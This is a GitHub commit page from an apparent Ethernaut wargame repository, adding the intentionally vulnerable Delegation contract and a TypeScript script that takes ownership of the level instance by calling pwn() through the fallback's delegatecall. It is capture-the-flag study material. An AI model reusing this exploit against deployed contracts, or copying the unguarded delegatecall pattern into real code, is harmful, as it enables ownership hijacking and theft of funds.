Skip to content

Commit

Permalink
Exercise 6 - delegation
Browse files Browse the repository at this point in the history
  • Loading branch information
antico5 committed Jan 1, 2022
1 parent e012a06 commit 60106d9
Show file tree
Hide file tree
Showing 4 changed files with 76 additions and 0 deletions.
31 changes: 31 additions & 0 deletions ethernaut_challenges/contracts/06_Delegation.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {
address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result, ) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
14 changes: 14 additions & 0 deletions ethernaut_challenges/contracts/Calldata.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
pragma solidity ^0.6.0;

import "hardhat/console.sol";

contract Calldata {
function logCallData(uint256 number, string memory str) public view returns (bytes memory) {
return msg.data;
}

function getDelegated() public returns (bool) {
(bool result, ) = address(this).delegatecall(abi.encodeWithSignature("get()"));
return result;
}
}
30 changes: 30 additions & 0 deletions ethernaut_challenges/scripts/06_delegation.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
import { Signer } from 'ethers'
import { ethers } from 'hardhat'
import { loadOrCreateLevelInstance } from './ethernaut'

const levelAddress = '0x9451961b7Aea1Df57bc20CC68D72f662241b5493'

const main = async () => {
const signer = (await ethers.getSigners())[0] as Signer

const targetContract = await loadOrCreateLevelInstance('Delegation', levelAddress, signer)

console.log(await targetContract.owner())

const provider = ethers.getDefaultProvider()
const abi = ['function pwn()']
const contract = new ethers.Contract(targetContract.address, abi, signer as any)

const tx = await contract.pwn()
console.log('PWN id: ', tx.hash)
await tx.wait()

console.log(await targetContract.owner())
}

main()
.then(() => process.exit())
.catch(e => {
console.error(e)
process.exit(1)
})
1 change: 1 addition & 0 deletions ethernaut_challenges/scripts/ethernaut.ts
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@ export const createLevelInstance = async (name: string, levelAddress: string, si

const txReceipt = await txResponse.wait()
console.log('Tx mined!')
console.log(JSON.stringify(txReceipt, null, 2))
const instanceAddress = ethers.utils.hexZeroPad(ethers.utils.hexStripZeros(txReceipt.logs[0].data), 20)
console.log('Level instance address', instanceAddress)

Expand Down

0 comments on commit 60106d9

Please sign in to comment.